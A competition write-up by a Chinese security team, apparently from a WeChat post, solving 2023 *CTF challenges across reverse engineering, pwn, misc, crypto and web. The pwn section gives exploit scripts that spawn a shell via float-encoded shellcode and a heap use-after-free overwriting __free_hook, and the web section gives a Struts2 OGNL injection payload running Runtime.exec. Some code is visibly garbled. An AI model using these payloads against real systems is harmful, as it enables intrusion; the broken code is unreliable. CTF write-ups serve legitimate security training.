HEADER
团队简介:
山海关安全团队(www.shg-sec.com)是一支专注网络安全的实战型团队,队员均来自国内外各大高校与企事业单位,主要从事漏洞挖掘、情报分析、反涉网犯罪研究。Arr3stY0u(意喻”逮捕你“)战队与W4ntY0u(意喻”通缉你“)预备队隶属于CTF组,我们积极参与国内外各大网络安全竞赛的同时并依托高超的逆向分析与情报分析、渗透测试技术为群众网络安全保驾护航尽一份力,简单粗暴,向涉网犯罪开炮。
题目附件下载地址请后台回复:sixstarsctf2023
REVERSE
ez_code:
powershell混淆,运行脚本后输出中间变量可以得到python代码,魔改xxtea
using namespace std;
void btea(unsigned int *v, int n, unsigned int const key[4])
{
unsigned int y, z, sum;
unsigned int p, rounds, e;
if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v
;
y = v
-= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
int main()
{
unsigned int v[] = {1374278842, 2136006540, 4191056815, 3248881376};
unsigned int const k[4] = {0x67452301,0xefcdab89,0x98badcfe,0x10325476};
int n = 4;
btea(v, -n, k);
for (int i = 0; i < 16; i++)
{
printf("%c", *((char *)v + i));
}
return 0;
}
//yOUar3g0oD@tPw5H
GoGpt:
import base64
key = b"TcR@3t_3hp_5_G1H"
enc_flag = bytearray(base64.b64decode("fiAGBkgXN3McFy9hAHRfCwYaIjQCRDFsXC8ZYBFmEDU="))
for i in range(len(enc_flag)):
enc_flag[i] ^= key[i%16]
print(enc_flag)
flagfile:
用file -m -C命令编译测试用magic文件,观察mgc文件格式规律。
file -m test.magic -C && hexdump -C test.magic.mgc
解析mgc提取数据解密flag。
import hexdump
import struct
import string
f = open('./flag.mgc', 'rb')
b = f.read(0x178)
indexes = []
table = ''
while True:
b = f.read(0x178)
if len(b) != 0x178:
break
line = b[:0x30]
_type = line[6]
off = struct.unpack_from('<I', line, 0x0c)[0]
s = f'type: {_type:02X}, off: {off:02X}'
if _type == 5:
s += ', str: '+line[0x20:].decode()
elif _type == 1:
n1, n2 = line[0x18], line[0x20]
v = n1 ^ n2
s += f', byte: {n1:02X} {n2:02X} {v:02X} {chr(v)}'
table += chr(v)
elif _type == 10:
n1, n2 = line[0x18], line[0x20]
v = n1 ^ n2
s += f', leshort: {n1:02X} {n2:02X} {v:02X} {v}'
indexes.append(v)
print(s)
# hexdump.hexdump(line)
# print('')
# f_o_a__lhy_s_y^^hete_ug___goo_t_
print(table)
# [25, 8, 18, 20, 27, 31, 30, 26, 7, 13, 5, 11, 16, 9, 34, 32, 22, 10, 19, 23, 24, 15, 28, 36, 12, 33, 17, 6, 14, 35, 21, 29]
print(indexes)
real_flag = [' ']*40
for i in range(len(indexes)):
print(indexes[i], table[i])
real_flag[indexes[i]] = table[i]
print(''.join(real_flag))
# _oh_yes_you_got_the_flag___^_^__
readme.txt骗人的。
boring cipher:
恢复box:
import hexdump
bin1 = open('./cipher-release', 'rb').read()
bin2 = open('./orig_output', 'rb').read()
dic = [None]*256
for i in range(len(bin1)):
if dic[bin1[i]] == None:
dic[bin1[i]] = (bin2[i]-bin1[i]) & 0xFF
hexdump.hexdump(bytes(dic))
print(dic)
算法代码:
import struct
import hexdump
from ctypes import c_uint32
chals_box = [39, 3, 53, 38, 17, 35, 12, 0, 21, 1, 24, 18, 68, 18, 3, 11, 3, 40, 16, 38, 21, 52, 5, 63, 34, 21, 8, 7, 24, 24, 40, 4, 40, 51, 56, 14, 19, 20, 9, 31, 15, 9, 8, 21, 0, 15, 18, 4, 29, 22, 32, 17, 16, 23, 35, 25, 26, 11, 14, 33, 18, 35, 9, 17, 42, 31, 30, 19, 36, 22, 43, 19, 11, 20, 29, 40, 24, 20, 13, 9, 18, 48, 20, 19, 6, 35, 5, 38, 43, 29, 44, 37, 37, 20, 25, 16, 7, 17, 17, 2, 41, 24, 18, 25, 10, 14, 57, 43, 46, 24, 27, 10, 38, 17, 26, 17, 37, 52, 57, 18, 17, 50, 44, 6, 21, 29, 30,
11, 11, 4, 36, 59, 24, 33, 8, 15, 13, 15, 13, 30, 37, 21, 14, 18, 49, 3, 40, 22, 18, 39, 44, 16, 36, 1, 20, 25, 35, 21, 10, 55, 28, 6, 13, 13, 18, 36, 28, 14, 32, 0, 11, 4, 14, 40, 30, 53, 7, 11, 14, 21, 9, 41, 29, 26, 13, 5, 2, 23, 7, 27, 16, 17, 8, 59, 18, 35, 7, 24, 36, 19, 8, 6, 37, 35, 41, 17, 15, 4, 5, 12, 19, 23, 2, 32, 2, 10, 8, 23, 46, 23, 47, 3, 1, 30, 55, 13, 32, 8, 21, 10, 30, 16, 29, 38, 12, 50, 30, 34, 59, 12, 22, 36, 34, 1, 41, 26, 5, 39, 16, 0, 14, 26, 24, 25, 63]
g_cdata = list(struct.unpack_from('<1260I', open(
'rb').read(), 0x3F06C))
box = [0]*256
inp_flag = b'1234'
inp_flag = (inp_flag+b'n').ljust(32, b'x00')
for index in range(4):
v6 = 0x21C3677C82B40000 # fact(20)
v4 = 20
table21 = bytearray(range(21))
inp_u64 = struct.unpack_from('>Q', inp_flag, index*8)[0]
k = 0
while True:
done = False
while True:
if (v6 | inp_u64) >> 32:
v8 = inp_u64
inp_u64 %= v6
j = k + v8 // v6
else:
v10 = c_uint32(inp_u64).value // c_uint32(v6).value
inp_u64 = c_uint32(inp_u64).value % c_uint32(v6).value
j = k + v10
assert j < 21
k)
table21[k] = table21[k], table21[j]
if ((v4 | v6) >> 32) == 0:
break
v6 = v6//v4
k += 1
v4 -= 1
if v4 == 0:
done = True
break
if done:
break
v6 = c_uint32(v6).value // c_uint32(v4).value
k += 1
v4 -= 1
if v4 == 0:
break
print(hexdump.hexdump(table21))
for i in range(21):
v14 = 21 * index + table21[i]
for j in range(15):
v = g_cdata[v14*15+j]
if v != 0xFFFFFFFF:
assert v <= 0xFF
+= i
print(hexdump.hexdump(bytes(box)))
# assert box == chals_box
逆出代码 -> 摇算法爷 -> 得到flag -> *ctf{b0rIn9_67hdnm_cIph3ri_7292}
PWN
fcalc:
劫持函数指针到栈地址执行shellcode,同时使shellcode符合被看成大小在1-100的浮点数。
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
def set_sc(sc):
pd = flat(
{
0:sc
},filler = 'x40',length=8
)
return pd
pd = b'1' +b' '*7 + p64(0x3ff0000000000000)*10
pd+= set_sc("x48x31xc0")
pd+= set_sc("xb8x3bx00x00x00")
pd+= set_sc("xbfx2fx73x68x00")
pd+=set_sc("x48xc1xe7x10")
pd+=set_sc("x66x81xc7x69x6e")
pd+=set_sc("x48xc1xe7x10")
pd+=set_sc("x66x81xc7x2fx62")
pd+=set_sc("x57x48x89xe7")
pd+=set_sc("x48x31xf6")
pd+=set_sc("x48x31xd2x0fx05")
sa('Enter your expression:',pd)
pd = b'1.1 1 '+ p8(48)
sla('Result: ',pd)
ia()
drop:
要理解bubble分支,它的行为如下:
0 是 free 0到idx
1 是 free idx到最后一个
使用bubble进行free存在uaf,根据bin中已有堆块进行堆风水即可。
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
def cmd(i, prompt='Your choice:'):
sla(prompt, str(i))
def add(cont='/bin/shx00'):
cmd('1')
sla('item: n',cont)
#......
def edit(i,cont):
cmd('3')
sla('Index: n',str(i))
sla('new content:',cont)
#......
def show(i):
cmd('2')
sla('Index: n',str(i))
#......
def dele():
cmd('5')
#......
def magic(i):
cmd(4)
sla('is East)','0')
sla('Launching index:',str(i))
for i in range(10):
add(flat(
{
0x0:'/bin/sh;',
0x100:''
}
))
#0x13b1
add(flat(
{
0x13b0-0x10:''
}
))
magic(8)
show(1)
ru('item: n')
leak_heap = u64_ex(r(6))
leak_ex2(leak_heap)
lb = recv_current_libc_addr(0x1ecbe0,0x100)
leak_ex2(lb)
libc.address = lb
edit(3,flat(
{
0x0:libc.sym.__free_hook
}
))
add(flat(
{
0x0:'/bin/sh;',
0x100:''
}
))
add(flat(
{
0x0:libc.sym.system,
0x100:''
}
))
ia()
MISC
old language:
龙语,游戏《上古卷轴V:天际》中出现的语言,字母表如下:
flag:*ctf{GIKRVZY}
snippingTools:
图片末尾有大量的数据,搜索可得相关的漏洞为CVE-2023-21036(aCropalypse)。
dead game:
获得flag的方法有好几种,我们采取的是通关获取
第一把修改了生命回复速率与移动速度通的关,flag_part1不对
第二把不修改参数通关,少了flag_part3
结合第一把给出的flag_part3,提交发现错误。
然后根据剧情中的flag_part3碎片
flag_part3中应该有两个z,也就是81!zZ@Rd,对应了暴雪的英文blizzard。
flag:*CTF{80867_K1115_81!zZ@Rd}
Increasing:
题目需要接收共180个模型的参数,模型之间以'|'分隔。每个模型分三层,传入的参数格式为:
'x(层数坐标),y(权重坐标1),z(权重坐标2),value'#
或
'x(层数坐标),y(权重坐标1),value'#
这180个模型按顺序排列,第i号模型应该接受当前序号i作为输入,预测标签为i+1。
首先训练180个模型:
import torch
import torch.nn as nn
from torch.autograd import Variable
model_num=181
class EasyNet(nn.Module):
def __init__(self):
super(EasyNet, self).__init__()
self.norm=nn.Softmax()
self.filter=nn.Linear(1,2)
self.bypass = nn.Linear(2,model_num,bias=False)
def forward(self, x):
x=self.filter(x)
x=self.bypass(x)
x=self.norm(x)
return x
net=EasyNet()
loss_fn = torch.nn.MSELoss(reduction='mean')
optimizer = torch.optim.SGD(net.parameters(), lr=0.3)
count = 0
for _idx in range(10000):
running_loss=0
for i in range(0,model_num-1):
for _idx_ in range(10000):
tmpinput = Variable(torch.tensor([i * 1.0]).reshape([1, 1]))#模拟的输入
tmplabel = Variable(torch.zeros([1, model_num]))
tmplabel[0][i+1] = 1
optimizer.zero_grad()
outputs = net(tmpinput)
loss = loss_fn(outputs, tmplabel)
loss.backward()
optimizer.step()
tmpinput = torch.tensor([i * 1.0]).reshape([1, 1])
tmplabel = torch.zeros([1])
tmplabel[0] = i+1
outputs = net(tmpinput)
_, predicted = torch.max(outputs.data, 1)
if (predicted == tmplabel).sum().item() ==1:
import os
if not os.path.exists(f"No{i}.pt"):
count += 1
print(count/model_num)
torch.save(net, f"No{i}.pt")
然后读取各个模型处理成合法的输入:
import torch
from torch.nn import init
import torch.nn as nn
import numpy
model_num=181
class EasyNet(nn.Module):
def __init__(self):
super(EasyNet, self).__init__()
self.norm=nn.Softmax()
self.filter=nn.Linear(1,2)
self.bypass = nn.Linear(2,model_num,bias=False)
def forward(self, x):
x=self.filter(x)
x=self.bypass(x)
x=self.norm(x)
return x
def att():
final = ''
for i in range(0,model_num-1):
result = ''
net =torch.load(f"./No{i}.pt")
mydict=net.state_dict()
namelist=['filter.weight', 'filter.bias', 'bypass.weight']
weightlist=[]
mydict=net.state_dict()
for i in range(len(namelist)):
weightlist.append(mydict[namelist[i]].tolist())
for _wl in range(len(weightlist)):
tmpdata = weightlist[_wl]
tmpdata_shape = numpy.array(tmpdata).shape
for index, value in enumerate(tmpdata):
if type(value) != type([]):
result += f'{_wl},{index},{value}#'
else:
for _index, _value in enumerate(value):
if type(_value) != type([]):
result += f'{_wl},{index},{_index},{_value}#'
else:
print("wrong")
exit()
final = final +result[:-2] + '|'
final = final[:-2]
d=final.split('|')
print(len(d))
f=open('out.txt','w')
f.write(final)
f.close()
return final
if __name__ == '__main__':
att()
最后发送参数:
from pwn import *
import torch.nn as nn
model_num=181
class EasyNet(nn.Module):
def __init__(self):
super(EasyNet, self).__init__()
self.norm=nn.Softmax()
self.filter=nn.Linear(1,2)
self.bypass = nn.Linear(2,model_num,bias=False)
def forward(self, x):
x=self.filter(x)
x=self.bypass(x)
x=self.norm(x)
return x
p = remote("122.9.155.47", 50001)
context.log_level = 'DEBUG'
p.recvuntil('Please give me the weights!')
import check
payload = check.att()
p.send(payload)
p.send(b'n')
print(p.recvall())
ray tracing:
附件是个ELF,扔到IDA中,发现像是个迷宫题:
找到迷宫坐标数据:
将其提取出来,比较长这里就不贴了,每组坐标都是[x,y,z]的形式,如前三个是:
[105, 120, 30]
[75, 90, 30]
[135, 90, 30]
因为是三维坐标,所以肯定不是平面能看出来的,我们转战到3d软件中建模呈现坐标,我这里用的是unity。
需要多次转动角度,像从正面看是一条线的,从上边看就是#
正面看是一条线的,侧面看可能是其他字母。
创建实体脚本如下:
using UnityEngine;
public class CoordinatePoints : MonoBehaviour
{
public Vector3[] coordinatePointsArray = new Vector3[]
{
new Vector3(105, 120, 30),
new Vector3(75, 90, 30),
new Vector3(135, 90, 30),
new Vector3(45, 60, 30),
new Vector3(75, 60, 30),
//太长了,剩余的请自行添加,可以写个py脚本或使用chatgpt
};
public GameObject pointPrefab;
public float pointSize = 20.0f;//设置创建块大小,我使用的是20
private void Awake()
{
}
private void Start()
{
DrawCoordinatePoints();
}
private void DrawCoordinatePoints()
{
foreach (Vector3 point in coordinatePointsArray)
{
GameObject pointObject = Instantiate(pointPrefab, point, Quaternion.identity);
pointObject.transform.localScale = new Vector3(pointSize, pointSize, pointSize);
}
}
}
CRYPTO
ezcrypto:
爆破seed 667;然后开始还原,按"_"分段:(1)偶数长度,两次替换(2)奇数长度:1次替换,1次xor(有个动态的index)。
import os
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from Crypto.Cipher import AES
from gmpy2 import *
import random
import string
characters = string.printable[:-6]
mb='W93VnRHs<CU#GI!d^7;'Lyfo`qt68&Y=Pr(b)O2[|mc0z}BvKkh5~lJeXM-iNgaTZ]*4F?upw>A,[email protected]:_$E/%"+{1'
mb1='W93VnRHs<CU#GI!d^7;'
'''
for rseed in range(0,1001):
random.seed(rseed * 2)
random_sequence = random.sample(characters, len(characters))
map_string2 = ''.join(random_sequence)
if map_string2.startswith(mb1):
print(rseed,map_string2)
'''
rseed = 667
assert rseed <= 1000 and rseed >= 0
digits = string.digits
ascii_letters = string.ascii_letters
def Ran_str(seed : int, origin: str):
random.seed(seed)
random_sequence = random.sample(origin, len(origin))
return ''.join(random_sequence)
map_string1 = Ran_str(rseed, characters)
map_string2 = Ran_str(rseed * 2, characters)
map_string3 = Ran_str(rseed * 3, characters)
print("map_string1: " + map_string1)
print("map_string2: " + map_string2)
print("map_string3: " + map_string3)
def util(flag):
return flag[9: -1]
def util1(map_string: str, c):
return map_string.index(c)
def str_xor(s: str, k: str):
return ''.join(chr((ord(a)) ^ (ord(b))) for a, b in zip(s, k))
def rev_mess_str(s: str, index: int):
map_str = Ran_str(index, ascii_letters + digits)
new_str = str_xor(s, map_str[index])
if not characters.find(new_str) >= 0:
new_str = "CrashOnYou??" + s
return new_str, util1(map_str, new_str)
def mess_sTr(s: str, index: int):
map_str = Ran_str(index, ascii_letters + digits)
new_str = str_xor(s, map_str[index])
if not characters.find(new_str) >= 0:
new_str = "CrashOnYou??" + s
return new_str, util1(map_str, s)
def crypto_phase1(flag):
flag_list1 = util(flag).split('_')
newlist1 = []
newlist2 = []
index = 1
k = 0
for i in flag_list1:
if len(i) % 2 == 1:
i1 = ""
for j in range(len(i)):
p, index = mess_sTr(i[j], index)
i1 += p
p, index = mess_sTr(i[0], index)
i1 += p
i1 += str(k)
k += 1
newlist1.append(i1)
else:
i += str(k)
k += 1
newlist2.append(i)
return newlist1, newlist2
def crypto_phase2(list):
newlist = []
for i in list:
str = ""
for j in i:
str += map_string1[util1(map_string3, j)]
newlist.append(str)
return newlist
def crypto_phase3(list):
newlist = []
for i in list:
str = ""
for j in i:
str += map_string2[util1(map_string3, j)]
newlist.append(str)
return newlist
def rev_crypto_phase3_str(stri):
str = ""
for j in stri:
str += map_string3[util1(map_string2, j)]
return str
def rev_crypto_phase2_str(stri):
str = ""
for j in stri:
str += map_string3[util1(map_string1, j)]
return str
def crypto_final(list):
str = ""
for i in list[::-1]:
str += i
return str
cipher='&I1}ty~A:bR>)Q/;6:*6`1;bum?8i[LL*t`1;bum?8i[LL?Ia`1;bum?8i[LL72;xl:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?'
print(rev_crypto_phase3_str(rev_crypto_phase2_str(cipher)))
#cR7PtO5 ln4 s0m32 F1nD1
cipher00='`1;bum?8i[LL*t`1;bum?8i[LL?Ia`1;bum?8i[LL72;xl:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?'
print(len(cipher))
print(rev_crypto_phase3_str(cipher00))
#CrashOnYou??F R CrashOnYou??n w3 CrashOnYou??T D a >0
#TrYT F4nF
#TrY_F1nD_s0m3_F4n_ln_cR7PtO
p,index=mess_sTr('T',1)
print(p,index)
p,index=rev_mess_str('D',index)
print(p,index)
p,index=rev_mess_str('a',index)
print(p,index)
p,index=rev_mess_str('>',index)
print(p,index)
p,index=mess_sTr('F',index)
print(p,index)
p,index=rev_mess_str('R',index)
print(p,index)
p,index=mess_sTr('n',index)
print(p,index)
p,index=rev_mess_str('w',index)
print(p,index)
WEB
jwt2struts:
结合这两部分可以知道这里应该是一个jwt伪造,html注释里JWT_key.php。
hash长度扩展攻击,使用hashpump生成一个payload。
x替换为%,修改jwt的user字段为admin,跳转到一个struts2。
payload:
'+%2b+(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23foo%3dnew+java.lang.Boolean("false")+,%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()))+%2b+'
FOOTER
CTF组招新:
1. Web:Java,Go,Rust,Node.js,PHP等熟悉任意两种及以上代码审计,加分项:有高质量cve,学习能力强。
2. Crypto:熟悉数论,群论等,加分项:格大佬,会sage脚本,会做nc交互题,学习能力强。
3. Reverse:熟悉多种语言包括但不限于go、rust,熟悉脱壳、反反调试姿势,会Android flutter逆向,frida检测,去ollvm混淆和mov混淆,加分项:手搓天手搓地。
4. Pwn:熟悉多种house of利用技巧、高版本堆利用姿势,加分项:kernel,qemu、musl等。
5. Blockchain:来者不拒,加分项:solana pwn,学习能力强。
6. Misc:熟悉各种编码、隐写术、流量分析思路,熟练掌握取证技术,加分项:会其他任意两个方向以上普通难度的题,学习能力强。
其他:iOS,IOT,车联网,AI等无明确标准。
联系qq2944508194
原文始发于微信公众号(山海之关):2023 *CTF writeup by Arr3stY0u
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论